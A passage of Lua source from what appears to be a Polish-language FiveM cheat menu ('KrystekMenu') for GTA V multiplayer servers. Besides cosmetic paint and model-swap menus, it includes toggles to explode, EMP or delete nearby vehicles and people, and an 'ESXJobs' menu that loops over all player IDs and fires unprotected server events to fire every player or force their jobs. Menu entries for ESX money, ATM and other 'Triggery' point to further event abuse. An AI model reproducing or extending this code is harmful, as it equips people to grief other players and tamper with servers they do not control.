  9549. SetVehicleColours(veh, em.id, oldsec)
  9550. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9551. bg = false
  9552. bi = -1
  9553. bh = -1
  9554. elseif bg and curprim ~= em.id then
  9555. SetVehicleColours(veh, em.id, oldsec)
  9556. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9557. bg = true
  9558. end
  9559. end
  9560. end
  9561. KrystekMenu.Display()
  9562. elseif KrystekMenu.IsMenuOpened('metallic1') then
  9563. for dK, em in pairs(br) do
  9564. tp, ts = GetVehicleColours(veh)
  9565. if tp == em.id and not bg then
  9566. pricetext = 'Zainstalowane'
  9567. else
  9568. if bg and tp == em.id then
  9569. pricetext = 'Testowanie'
  9570. else
  9571. pricetext = 'Nie Zainstalowane'
  9572. end
  9573. end
  9574. curprim, cursec = GetVehicleColours(veh)
  9575. if KrystekMenu.Button(em.name, pricetext) then
  9576. if not bg then
  9577. bi = 'paint'
  9578. bk = false
  9579. oldprim, oldsec = GetVehicleColours(veh)
  9580. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9581. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9582. SetVehicleColours(veh, em.id, oldsec)
  9583. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9584. bg = true
  9585. elseif bg and curprim == em.id then
  9586. SetVehicleColours(veh, em.id, oldsec)
  9587. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9588. bg = false
  9589. bi = -1
  9590. bh = -1
  9591. elseif bg and curprim ~= em.id then
  9592. SetVehicleColours(veh, em.id, oldsec)
  9593. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9594. bg = true
  9595. end
  9596. end
  9597. end
  9598. KrystekMenu.Display()
  9599. elseif KrystekMenu.IsMenuOpened('matte1') then
  9600. for dK, em in pairs(bt) do
  9601. tp, ts = GetVehicleColours(veh)
  9602. if tp == em.id and not bg then
  9603. pricetext = 'Zainstalowane'
  9604. else
  9605. if bg and tp == em.id then
  9606. pricetext = 'Testowanie'
  9607. else
  9608. pricetext = 'Nie Zainstalowane'
  9609. end
  9610. end
  9611. curprim, cursec = GetVehicleColours(veh)
  9612. if KrystekMenu.Button(em.name, pricetext) then
  9613. if not bg then
  9614. bi = 'paint'
  9615. bk = false
  9616. oldprim, oldsec = GetVehicleColours(veh)
  9617. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9618. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9619. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9620. SetVehicleColours(veh, em.id, oldsec)
  9621. bg = true
  9622. elseif bg and curprim == em.id then
  9623. SetVehicleColours(veh, em.id, oldsec)
  9624. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9625. bg = false
  9626. bi = -1
  9627. bh = -1
  9628. elseif bg and curprim ~= em.id then
  9629. SetVehicleColours(veh, em.id, oldsec)
  9630. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9631. bg = true
  9632. end
  9633. end
  9634. end
  9635. KrystekMenu.Display()
  9636. elseif KrystekMenu.IsMenuOpened('metal1') then
  9637. for dK, em in pairs(bu) do
  9638. tp, ts = GetVehicleColours(veh)
  9639. if tp == em.id and not bg then
  9640. pricetext = 'Zainstalowane'
  9641. else
  9642. if bg and tp == em.id then
  9643. pricetext = 'Testowanie'
  9644. else
  9645. pricetext = 'Nie Zainstalowane'
  9646. end
  9647. end
  9648. curprim, cursec = GetVehicleColours(veh)
  9649. if KrystekMenu.Button(em.name, pricetext) then
  9650. if not bg then
  9651. bi = 'paint'
  9652. bk = false
  9653. oldprim, oldsec = GetVehicleColours(veh)
  9654. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9655. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9656. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9657. SetVehicleColours(veh, em.id, oldsec)
  9658. bg = true
  9659. elseif bg and curprim == em.id then
  9660. SetVehicleColours(veh, em.id, oldsec)
  9661. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9662. bg = false
  9663. bi = -1
  9664. bh = -1
  9665. elseif bg and curprim ~= em.id then
  9666. SetVehicleColours(veh, em.id, oldsec)
  9667. SetVehicleExtraColours(veh, em.id, oldwheelcolour)
  9668. bg = true
  9669. end
  9670. end
  9671. end
  9672. KrystekMenu.Display()
  9673. elseif KrystekMenu.IsMenuOpened('classic2') then
  9674. for dK, em in pairs(br) do
  9675. tp, ts = GetVehicleColours(veh)
  9676. if ts == em.id and not bg then
  9677. pricetext = 'Zainstalowane'
  9678. else
  9679. if bg and ts == em.id then
  9680. pricetext = 'Testowanie'
  9681. else
  9682. pricetext = 'Nie Zainstalowane'
  9683. end
  9684. end
  9685. curprim, cursec = GetVehicleColours(veh)
  9686. if KrystekMenu.Button(em.name, pricetext) then
  9687. if not bg then
  9688. bi = 'paint'
  9689. bk = false
  9690. oldprim, oldsec = GetVehicleColours(veh)
  9691. bh = table.pack(oldprim, oldsec)
  9692. SetVehicleColours(veh, oldprim, em.id)
  9693. bg = true
  9694. elseif bg and cursec == em.id then
  9695. SetVehicleColours(veh, oldprim, em.id)
  9696. bg = false
  9697. bi = -1
  9698. bh = -1
  9699. elseif bg and cursec ~= em.id then
  9700. SetVehicleColours(veh, oldprim, em.id)
  9701. bg = true
  9702. end
  9703. end
  9704. end
  9705. KrystekMenu.Display()
  9706. elseif KrystekMenu.IsMenuOpened('metallic2') then
  9707. for dK, em in pairs(br) do
  9708. tp, ts = GetVehicleColours(veh)
  9709. if ts == em.id and not bg then
  9710. pricetext = 'Zainstalowane'
  9711. else
  9712. if bg and ts == em.id then
  9713. pricetext = 'Testowanie'
  9714. else
  9715. pricetext = 'Nie Zainstalowane'
  9716. end
  9717. end
  9718. curprim, cursec = GetVehicleColours(veh)
  9719. if KrystekMenu.Button(em.name, pricetext) then
  9720. if not bg then
  9721. bi = 'paint'
  9722. bk = false
  9723. oldprim, oldsec = GetVehicleColours(veh)
  9724. bh = table.pack(oldprim, oldsec)
  9725. SetVehicleColours(veh, oldprim, em.id)
  9726. bg = true
  9727. elseif bg and cursec == em.id then
  9728. SetVehicleColours(veh, oldprim, em.id)
  9729. bg = false
  9730. bi = -1
  9731. bh = -1
  9732. elseif bg and cursec ~= em.id then
  9733. SetVehicleColours(veh, oldprim, em.id)
  9734. bg = true
  9735. end
  9736. end
  9737. end
  9738. KrystekMenu.Display()
  9739. elseif KrystekMenu.IsMenuOpened('matte2') then
  9740. for dK, em in pairs(bt) do
  9741. tp, ts = GetVehicleColours(veh)
  9742. if ts == em.id and not bg then
  9743. pricetext = 'Zainstalowane'
  9744. else
  9745. if bg and ts == em.id then
  9746. pricetext = 'Testowanie'
  9747. else
  9748. pricetext = 'Nie Zainstalowane'
  9749. end
  9750. end
  9751. curprim, cursec = GetVehicleColours(veh)
  9752. if KrystekMenu.Button(em.name, pricetext) then
  9753. if not bg then
  9754. bi = 'paint'
  9755. bk = false
  9756. oldprim, oldsec = GetVehicleColours(veh)
  9757. bh = table.pack(oldprim, oldsec)
  9758. SetVehicleColours(veh, oldprim, em.id)
  9759. bg = true
  9760. elseif bg and cursec == em.id then
  9761. SetVehicleColours(veh, oldprim, em.id)
  9762. bg = false
  9763. bi = -1
  9764. bh = -1
  9765. elseif bg and cursec ~= em.id then
  9766. SetVehicleColours(veh, oldprim, em.id)
  9767. bg = true
  9768. end
  9769. end
  9770. end
  9771. KrystekMenu.Display()
  9772. elseif KrystekMenu.IsMenuOpened('metal2') then
  9773. for dK, em in pairs(bu) do
  9774. tp, ts = GetVehicleColours(veh)
  9775. if ts == em.id and not bg then
  9776. pricetext = 'Zainstalowane'
  9777. else
  9778. if bg and ts == em.id then
  9779. pricetext = 'Testowanie'
  9780. else
  9781. pricetext = 'Nie Zainstalowane'
  9782. end
  9783. end
  9784. curprim, cursec = GetVehicleColours(veh)
  9785. if KrystekMenu.Button(em.name, pricetext) then
  9786. if not bg then
  9787. bi = 'paint'
  9788. bk = false
  9789. oldprim, oldsec = GetVehicleColours(veh)
  9790. bh = table.pack(oldprim, oldsec)
  9791. SetVehicleColours(veh, oldprim, em.id)
  9792. bg = true
  9793. elseif bg and cursec == em.id then
  9794. SetVehicleColours(veh, oldprim, em.id)
  9795. bg = false
  9796. bi = -1
  9797. bh = -1
  9798. elseif bg and cursec ~= em.id then
  9799. SetVehicleColours(veh, oldprim, em.id)
  9800. bg = true
  9801. end
  9802. end
  9803. end
  9804. KrystekMenu.Display()
  9805. elseif KrystekMenu.IsMenuOpened('classic3') then
  9806. for dK, em in pairs(br) do
  9807. _, ts = GetVehicleExtraColours(veh)
  9808. if ts == em.id and not bg then
  9809. pricetext = 'Zainstalowane'
  9810. else
  9811. if bg and ts == em.id then
  9812. pricetext = 'Testowanie'
  9813. else
  9814. pricetext = 'Nie Zainstalowane'
  9815. end
  9816. end
  9817. _, currims = GetVehicleExtraColours(veh)
  9818. if KrystekMenu.Button(em.name, pricetext) then
  9819. if not bg then
  9820. bi = 'paint'
  9821. bk = false
  9822. oldprim, oldsec = GetVehicleColours(veh)
  9823. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9824. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9825. SetVehicleExtraColours(veh, oldpearl, em.id)
  9826. bg = true
  9827. elseif bg and currims == em.id then
  9828. SetVehicleExtraColours(veh, oldpearl, em.id)
  9829. bg = false
  9830. bi = -1
  9831. bh = -1
  9832. elseif bg and currims ~= em.id then
  9833. SetVehicleExtraColours(veh, oldpearl, em.id)
  9834. bg = true
  9835. end
  9836. end
  9837. end
  9838. KrystekMenu.Display()
  9839. elseif KrystekMenu.IsMenuOpened('metallic3') then
  9840. for dK, em in pairs(br) do
  9841. _, ts = GetVehicleExtraColours(veh)
  9842. if ts == em.id and not bg then
  9843. pricetext = 'Zainstalowane'
  9844. else
  9845. if bg and ts == em.id then
  9846. pricetext = 'Testowanie'
  9847. else
  9848. pricetext = 'Nie Zainstalowane'
  9849. end
  9850. end
  9851. _, currims = GetVehicleExtraColours(veh)
  9852. if KrystekMenu.Button(em.name, pricetext) then
  9853. if not bg then
  9854. bi = 'paint'
  9855. bk = false
  9856. oldprim, oldsec = GetVehicleColours(veh)
  9857. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9858. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9859. SetVehicleExtraColours(veh, oldpearl, em.id)
  9860. bg = true
  9861. elseif bg and currims == em.id then
  9862. SetVehicleExtraColours(veh, oldpearl, em.id)
  9863. bg = false
  9864. bi = -1
  9865. bh = -1
  9866. elseif bg and currims ~= em.id then
  9867. SetVehicleExtraColours(veh, oldpearl, em.id)
  9868. bg = true
  9869. end
  9870. end
  9871. end
  9872. KrystekMenu.Display()
  9873. elseif KrystekMenu.IsMenuOpened('matte3') then
  9874. for dK, em in pairs(bt) do
  9875. _, ts = GetVehicleExtraColours(veh)
  9876. if ts == em.id and not bg then
  9877. pricetext = 'Zainstalowane'
  9878. else
  9879. if bg and ts == em.id then
  9880. pricetext = 'Testowanie'
  9881. else
  9882. pricetext = 'Nie Zainstalowane'
  9883. end
  9884. end
  9885. _, currims = GetVehicleExtraColours(veh)
  9886. if KrystekMenu.Button(em.name, pricetext) then
  9887. if not bg then
  9888. bi = 'paint'
  9889. bk = false
  9890. oldprim, oldsec = GetVehicleColours(veh)
  9891. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9892. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9893. SetVehicleExtraColours(veh, oldpearl, em.id)
  9894. bg = true
  9895. elseif bg and currims == em.id then
  9896. SetVehicleExtraColours(veh, oldpearl, em.id)
  9897. bg = false
  9898. bi = -1
  9899. bh = -1
  9900. elseif bg and currims ~= em.id then
  9901. SetVehicleExtraColours(veh, oldpearl, em.id)
  9902. bg = true
  9903. end
  9904. end
  9905. end
  9906. KrystekMenu.Display()
  9907. elseif KrystekMenu.IsMenuOpened('metal3') then
  9908. for dK, em in pairs(bu) do
  9909. _, ts = GetVehicleExtraColours(veh)
  9910. if ts == em.id and not bg then
  9911. pricetext = 'Zainstalowane'
  9912. else
  9913. if bg and ts == em.id then
  9914. pricetext = 'Testowanie'
  9915. else
  9916. pricetext = 'Nie Zainstalowane'
  9917. end
  9918. end
  9919. _, currims = GetVehicleExtraColours(veh)
  9920. if KrystekMenu.Button(em.name, pricetext) then
  9921. if not bg then
  9922. bi = 'paint'
  9923. bk = false
  9924. oldprim, oldsec = GetVehicleColours(veh)
  9925. oldpearl, oldwheelcolour = GetVehicleExtraColours(veh)
  9926. bh = table.pack(oldprim, oldsec, oldpearl, oldwheelcolour)
  9927. SetVehicleExtraColours(veh, oldpearl, em.id)
  9928. bg = true
  9929. elseif bg and currims == em.id then
  9930. SetVehicleExtraColours(veh, oldpearl, em.id)
  9931. bg = false
  9932. bi = -1
  9933. bh = -1
  9934. elseif bg and currims ~= em.id then
  9935. SetVehicleExtraColours(veh, oldpearl, em.id)
  9936. bg = true
  9937. end
  9938. end
  9939. end
  9940. KrystekMenu.Display()
  9941. elseif KrystekMenu.IsMenuOpened('VehicleMenu') then
  9942. if KrystekMenu.MenuButton('~h~~p~#~s~ ~h~~b~LSC ~s~Customs', 'LSC') then
  9943. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Boostuj ~g~Pojazd', 'BoostMenu') then
  9944. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Lista Pojazdow', 'CarTypes') then
  9945. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Globalne Trolle Pojazdow', 'GCT') then
  9946. elseif KrystekMenu.MenuButton('~h~~p~#~s~ Zresp i Przyczep ~s~Przyczepe', 'MainTrailer') then
  9947. elseif KrystekMenu.Button('~h~Zresp ~r~Markowy ~s~Samochod') then
  9948. ca()
  9949. elseif KrystekMenu.Button('~h~~r~Usun ~s~Pojazd') then
  9950. DelVeh(GetVehiclePedIsUsing(PlayerPedId(-1)))
  9951. elseif KrystekMenu.Button('~h~~g~Napraw ~s~Pojazd') then
  9952. cc()
  9953. elseif KrystekMenu.Button('~h~~g~Narpaw ~s~Silnik') then
  9954. cd()
  9955. elseif KrystekMenu.Button('~h~~g~Odwroc ~s~Pojazd') then
  9956. daojosdinpatpemata()
  9957. elseif KrystekMenu.Button('~h~~b~Max ~s~Tuning') then
  9958. MaxOut(GetVehiclePedIsUsing(PlayerPedId(-1)))
  9959. elseif KrystekMenu.Button("~h~~b~Max ~s~Tuning ~r~tylko osiagi") then
  9960. engine(GetVehiclePedIsUsing(PlayerPedId(-1)))
  9961. elseif KrystekMenu.Button('~h~~g~RC ~s~Autko') then
  9962. ce()
  9963. KrystekMenu.CloseMenu()
  9964. elseif
  9965. KrystekMenu.CheckBox(
  9966. '~h~No Fall',
  9967. Nofall,
  9968. function(dR)
  9969. Nofall = dR
  9970. SetPedCanBeKnockedOffVehicle(PlayerPedId(-1), Nofall)
  9971. end
  9972. )
  9973. then
  9974. elseif
  9975. KrystekMenu.CheckBox(
  9976. '~h~Pojazdowy Godmode',
  9977. VehGod,
  9978. function(dR)
  9979. VehGod = dR
  9980. end
  9981. )
  9982. then
  9983. elseif
  9984. KrystekMenu.CheckBox(
  9985. '~h~Speedboost ~g~SHIFT ~r~CTRL',
  9986. VehSpeed,
  9987. function(dR)
  9988. VehSpeed = dR
  9989. end
  9990. )
  9991. then
  9992. end
  9993. KrystekMenu.Display()
  9994. elseif KrystekMenu.IsMenuOpened('GCT') then
  9995. if
  9996. KrystekMenu.CheckBox(
  9997. '~h~~r~EMP~s~ Pojazdy w Poblizu',
  9998. destroyvehicles,
  9999. function(dR)
  10000. destroyvehicles = dR
  10001. end
  10002. )
  10003. then
  10004. elseif
  10005. KrystekMenu.CheckBox(
  10006. '~h~~r~Usun~s~ Wokol ciebie Pojazdy/Ludzi',
  10007. deletenearestvehicle,
  10008. function(dR)
  10009. deletenearestvehicle = dR
  10010. end
  10011. )
  10012. then
  10013. elseif
  10014. KrystekMenu.CheckBox(
  10015. '~h~~r~Exploduj~s~ Pojazdy w Poblizu',
  10016. explodevehicles,
  10017. function(dR)
  10018. explodevehicles = dR
  10019. end
  10020. )
  10021. then
  10022. elseif
  10023. KrystekMenu.CheckBox(
  10024. '~h~~p~Fuck~s~ Pojazdy w Poblizu',
  10025. fuckallcars,
  10026. function(dR)
  10027. fuckallcars = dR
  10028. end
  10029. )
  10030. then
  10031. end
  10032. KrystekMenu.Display()
  10033. elseif KrystekMenu.IsMenuOpened('LuaMenu') then
  10034. if KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Boss', 'ESXBoss') then
  10035. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Pieniadze', 'ESXMoney') then
  10036. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Bankomat', 'ESXBankomat') then
  10037. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Prace', 'ESXJobs') then
  10038. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Rozne', 'ESXCustom') then
  10039. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Dragi i Inne', 'ESXDrugs') then
  10040. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~r~ESX ~s~Dzwieki', 'Dzwieki') then
  10041. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~g~Zmiana Postaci', 'MODEL') then
  10042. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~y~VRP ~s~Triggery', 'VRPTriggers') then
  10043. elseif KrystekMenu.MenuButton('~h~~p~#~s~ ~b~Inne ~s~Triggery', 'MiscTriggers') then
  10044. end
  10045.  
  10046. KrystekMenu.Display()
  10047. elseif KrystekMenu.IsMenuOpened('Dzwieki') then
  10048. if KrystekMenu.Button('~h~~g~Dzwiek ~y~zamykania auta') then
  10049. TriggerServerEvent("InteractSound_SV:PlayWithinDistance", 103232, "lock", 1.0)
  10050. elseif KrystekMenu.Button('~h~~g~Dzwiek ~y~otwierania auta') then
  10051. TriggerServerEvent("InteractSound_SV:PlayWithinDistance", 103232, "unlock", 1.0)
  10052. elseif KrystekMenu.Button('~h~~g~Dzwiek ~y~Kajdanek') then
  10053. TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'handcuff', 1.0)
  10054. TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'Cuff', 1.0)
  10055. TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'cuffs', 1.0)
  10056. TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'cuffseffect', 1.0)
  10057. elseif KrystekMenu.Button('~h~~g~Dzwiek ~y~Pasow') then
  10058. TriggerServerEvent('InteractSound_SV:PlayWithinDistance', 103232, 'pasysound', 1.0)
  10059.  
  10060.  
  10061. end
  10062.  
  10063. KrystekMenu.Display()
  10064. elseif KrystekMenu.IsMenuOpened('ESXJobs') then
  10065. if KrystekMenu.Button('~h~Fire all players') then
  10066. for ak = 0, 128 do
  10067. TriggerServerEvent('NB:destituerplayer', GetPlayerServerId(ak))
  10068. UnemployedPlayers()
  10069. end
  10070. elseif KrystekMenu.Button('~h~Ustaw wszystkich ~b~Police ~s~Job') then
  10071. for ak = 0, 128 do
  10072. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'police', 3)
  10073. PolicePlayers()
  10074. end
  10075. elseif KrystekMenu.Button('~h~Ustaw wszystkich ~o~Mechanik ~s~Job') then
  10076. for ak = 0, 128 do
  10077. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'mecano', 3)
  10078. MecanoPlayers()
  10079. end
  10080. elseif KrystekMenu.Button('~h~Ustaw wszystkich ~y~Taxi ~s~Job') then
  10081. for ak = 0, 128 do
  10082. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'taxi', 3)
  10083. TaxiPlayers()
  10084. end
  10085. elseif KrystekMenu.Button('~h~Ustaw wszystkich ~r~Ambulance ~s~Job') then
  10086. for ak = 0, 128 do
  10087. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'ambulance', 3)
  10088. AmbulancePlayers()
  10089. end
  10090. elseif KrystekMenu.Button('~h~Ustaw wszystkich ~g~Agent Nieruchomosci ~s~Job') then
  10091. for ak = 0, 128 do
  10092. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'realestateagent', 3)
  10093. RealEstateAgentPlayers()
  10094. end
  10095. elseif KrystekMenu.Button('~h~Ustaw wszystkich ~r~Car ~b~Dealer ~s~Job') then
  10096. for ak = 0, 128 do
  10097. TriggerServerEvent('NB:recruterplayer', GetPlayerServerId(ak), 'cardealer', 3)
  10098. CarDealerPlayers()
  10099. end
  10100. end
  10101. KrystekMenu.Display()
  10102. elseif KrystekMenu.IsMenuOpened("MODEL") then
  10103. if KrystekMenu.Button("~r~~h~Wpisywane") then
  10104. local m = KeyboardInput('Wpisz nazwe peda', '', 100)
  10105. RequestModel(GetHashKey(m))
  10106. Wait(500)
  10107. if HasModelLoaded(GetHashKey(m)) then
  10108. SetPlayerModel(PlayerId(), GetHashKey(m))
  10109. end
  10110. elseif KrystekMenu.Button("~b~~h~Dzik") then
  10111. local model = "a_c_boar"
  10112. RequestModel(GetHashKey(model))
  10113. Wait(500)
  10114. if HasModelLoaded(GetHashKey(model)) then
  10115. SetPlayerModel(PlayerId(), GetHashKey(model))
  10116. end
  10117. elseif KrystekMenu.Button("~b~~h~BigFoot") then
  10118. local model = "ig_orleans"
  10119. RequestModel(GetHashKey(model))
  10120. Wait(500)
  10121. if HasModelLoaded(GetHashKey(model)) then
  10122. SetPlayerModel(PlayerId(), GetHashKey(model))
  10123. end
  10124. elseif KrystekMenu.Button("~b~~h~Michael") then
  10125. local model = "player_zero"
  10126. RequestModel(GetHashKey(model))
  10127. Wait(500)
  10128. if HasModelLoaded(GetHashKey(model)) then
  10129. SetPlayerModel(PlayerId(), GetHashKey(model))
  10130. end
  10131. elseif KrystekMenu.Button("~b~~h~Trevor") then
  10132. local model = "player_two"
  10133. RequestModel(GetHashKey(model))
  10134. Wait(500)
  10135. if HasModelLoaded(GetHashKey(model)) then
  10136. SetPlayerModel(PlayerId(), GetHashKey(model))
  10137. end
  10138. elseif KrystekMenu.Button("~b~~h~Franklin") then
  10139. local model = "player_one"
  10140. RequestModel(GetHashKey(model))
  10141. Wait(500)
  10142. if HasModelLoaded(GetHashKey(model)) then
  10143. SetPlayerModel(PlayerId(), GetHashKey(model))
  10144. end
  10145. elseif KrystekMenu.Button("~b~~h~Retriever") then
  10146. local model = "A_C_Retriever"
  10147. RequestModel(GetHashKey(model))
  10148. Wait(500)
  10149. if HasModelLoaded(GetHashKey(model)) then
  10150. SetPlayerModel(PlayerId(), GetHashKey(model))
  10151. end
  10152. elseif KrystekMenu.Button("~b~~h~Chop") then
  10153. local model = "a_c_chop"
  10154. RequestModel(GetHashKey(model))
  10155. Wait(500)
  10156. if HasModelLoaded(GetHashKey(model)) then
  10157. SetPlayerModel(PlayerId(), GetHashKey(model))
  10158. end
  10159. elseif KrystekMenu.Button("~b~~h~Swinia") then
  10160. local model = "A_C_Pig"
  10161. RequestModel(GetHashKey(model))
  10162. Wait(500)
  10163. if HasModelLoaded(GetHashKey(model)) then
  10164. SetPlayerModel(PlayerId(), GetHashKey(model))
  10165. end
  10166. elseif KrystekMenu.Button("~b~~h~Jastrzab") then
  10167. local model = "A_C_Chickenhawk"
  10168. RequestModel(GetHashKey(model))
  10169. Wait(500)
  10170. if HasModelLoaded(GetHashKey(model)) then
  10171. SetPlayerModel(PlayerId(), GetHashKey(model))
  10172. end
  10173. elseif KrystekMenu.Button("~b~~h~Ryba") then
  10174. local model = "A_C_Fish"
  10175. RequestModel(GetHashKey(model))
  10176. Wait(500)
  10177. if HasModelLoaded(GetHashKey(model)) then
  10178. SetPlayerModel(PlayerId(), GetHashKey(model))
  10179. end
  10180. elseif KrystekMenu.Button("~b~~h~Rhesus") then
  10181. local model = "A_C_Rhesus"
  10182. RequestModel(GetHashKey(model))
  10183. Wait(500)
  10184. if HasModelLoaded(GetHashKey(model)) then
  10185. SetPlayerModel(PlayerId(), GetHashKey(model))
  10186. end
  10187. elseif KrystekMenu.Button("~b~~h~Shepard") then
  10188. local model = "A_C_shepherd"
  10189. RequestModel(GetHashKey(model))
  10190. Wait(500)
  10191. if HasModelLoaded(GetHashKey(model)) then
  10192. SetPlayerModel(PlayerId(), GetHashKey(model))
  10193. end
  10194. elseif KrystekMenu.Button("~b~~h~Golab") then
  10195. local model = "A_C_Pigeon"
  10196. RequestModel(GetHashKey(model))
  10197. Wait(500)
  10198. if HasModelLoaded(GetHashKey(model)) then
  10199. SetPlayerModel(PlayerId(), GetHashKey(model))
  10200. end
  10201. elseif KrystekMenu.Button("~b~~h~Szczur") then
  10202. local model = "A_C_Rat"
  10203. RequestModel(GetHashKey(model))
  10204. Wait(500)
  10205. if HasModelLoaded(GetHashKey(model)) then
  10206. SetPlayerModel(PlayerId(), GetHashKey(model))
  10207. end
  10208. elseif KrystekMenu.Button("~b~~h~Rotwajler") then
  10209. local model = "A_C_Rottweiler"
  10210. RequestModel(GetHashKey(model))
  10211. Wait(500)
  10212. if HasModelLoaded(GetHashKey(model)) then
  10213. SetPlayerModel(PlayerId(), GetHashKey(model))
  10214. end
  10215. elseif KrystekMenu.Button("~b~~h~Mewa") then
  10216. local model = "A_C_Seagull"
  10217. RequestModel(GetHashKey(model))
  10218. Wait(500)
  10219. if HasModelLoaded(GetHashKey(model)) then
  10220. SetPlayerModel(PlayerId(), GetHashKey(model))
  10221. end
  10222. elseif KrystekMenu.Button("~b~~h~Pasterz") then
  10223. local model = "A_C_shepherd"
  10224. RequestModel(GetHashKey(model))
  10225. Wait(500)
  10226. if HasModelLoaded(GetHashKey(model)) then
  10227. SetPlayerModel(PlayerId(), GetHashKey(model))
  10228. end
  10229. elseif KrystekMenu.Button("~b~~h~Rekin") then
  10230. local model = "A_C_SharkTiger"
  10231. RequestModel(GetHashKey(model))
  10232. Wait(500)
  10233. if HasModelLoaded(GetHashKey(model)) then
  10234. SetPlayerModel(PlayerId(), GetHashKey(model))
  10235. end
  10236. elseif KrystekMenu.Button("~b~~h~Husky") then
  10237. local model = "A_C_Husky"
  10238. RequestModel(GetHashKey(model))
  10239. Wait(500)
  10240. if HasModelLoaded(GetHashKey(model)) then
  10241. SetPlayerModel(PlayerId(), GetHashKey(model))
  10242. end
  10243. elseif KrystekMenu.Button("~b~~h~Puma") then
  10244. local model = "A_C_MtLion"
  10245. RequestModel(GetHashKey(model))
  10246. Wait(500)
  10247. if HasModelLoaded(GetHashKey(model)) then
  10248. SetPlayerModel(PlayerId(), GetHashKey(model))
  10249. end
  10250. elseif KrystekMenu.Button("~b~~h~Krowa") then
  10251. local model = "A_C_Cow"
  10252. RequestModel(GetHashKey(model))
  10253. Wait(500)
  10254. if HasModelLoaded(GetHashKey(model)) then
  10255. SetPlayerModel(PlayerId(), GetHashKey(model))
  10256. end
  10257. elseif KrystekMenu.Button("~b~~h~Kojot") then
  10258. local model = "A_C_Coyote"
  10259. RequestModel(GetHashKey(model))
  10260. Wait(500)
  10261. if HasModelLoaded(GetHashKey(model)) then
  10262. SetPlayerModel(PlayerId(), GetHashKey(model))
  10263. end
  10264. elseif KrystekMenu.Button("~b~~h~Kruk") then
  10265. local model = "A_C_Crow"
  10266. RequestModel(GetHashKey(model))
  10267. Wait(500)
  10268. if HasModelLoaded(GetHashKey(model)) then
  10269. SetPlayerModel(PlayerId(), GetHashKey(model))
  10270. end
  10271. elseif KrystekMenu.Button("~b~~h~West") then
  10272. local model = "a_c_westy"
  10273. RequestModel(GetHashKey(model))
  10274. Wait(500)
  10275. if HasModelLoaded(GetHashKey(model)) then
  10276. SetPlayerModel(PlayerId(), GetHashKey(model))
  10277. end
  10278. elseif KrystekMenu.Button("~b~~h~Buldog Francuski") then
  10279. local model = "a_c_pug"
  10280. RequestModel(GetHashKey(model))
  10281. Wait(500)
  10282. if HasModelLoaded(GetHashKey(model)) then
  10283. SetPlayerModel(PlayerId(), GetHashKey(model))
  10284. end
  10285. elseif KrystekMenu.Button("~b~~h~Pudelek") then
  10286. local model = "a_c_poodle"
  10287. RequestModel(GetHashKey(model))
  10288. Wait(500)
  10289. if HasModelLoaded(GetHashKey(model)) then
  10290. SetPlayerModel(PlayerId(), GetHashKey(model))
  10291. end
  10292. elseif KrystekMenu.Button("~b~~h~Jelen") then
  10293. local model = "A_C_Deer"
  10294. RequestModel(GetHashKey(model))
  10295. Wait(500)
  10296. if HasModelLoaded(GetHashKey(model)) then
  10297. SetPlayerModel(PlayerId(), GetHashKey(model))
  10298. end
  10299. elseif KrystekMenu.Button("~b~~h~Klaun") then
  10300. local model = "s_m_y_clown_01"
  10301. RequestModel(GetHashKey(model))
  10302. Wait(500)
  10303. if HasModelLoaded(GetHashKey(model)) then
  10304. SetPlayerModel(PlayerId(), GetHashKey(model))
  10305. end
  10306. elseif KrystekMenu.Button("~b~~h~Fujara na wierzchu") then
  10307. local model = "a_m_m_acult_01"
  10308. RequestModel(GetHashKey(model))
  10309. Wait(500)
  10310. if HasModelLoaded(GetHashKey(model)) then
  10311. SetPlayerModel(PlayerId(), GetHashKey(model))
  10312. end
  10313. elseif KrystekMenu.Button("~b~~h~Zombie") then
  10314. local model = "u_m_y_zombie_01"
  10315. RequestModel(GetHashKey(model))
  10316. Wait(500)
  10317. if HasModelLoaded(GetHashKey(model)) then
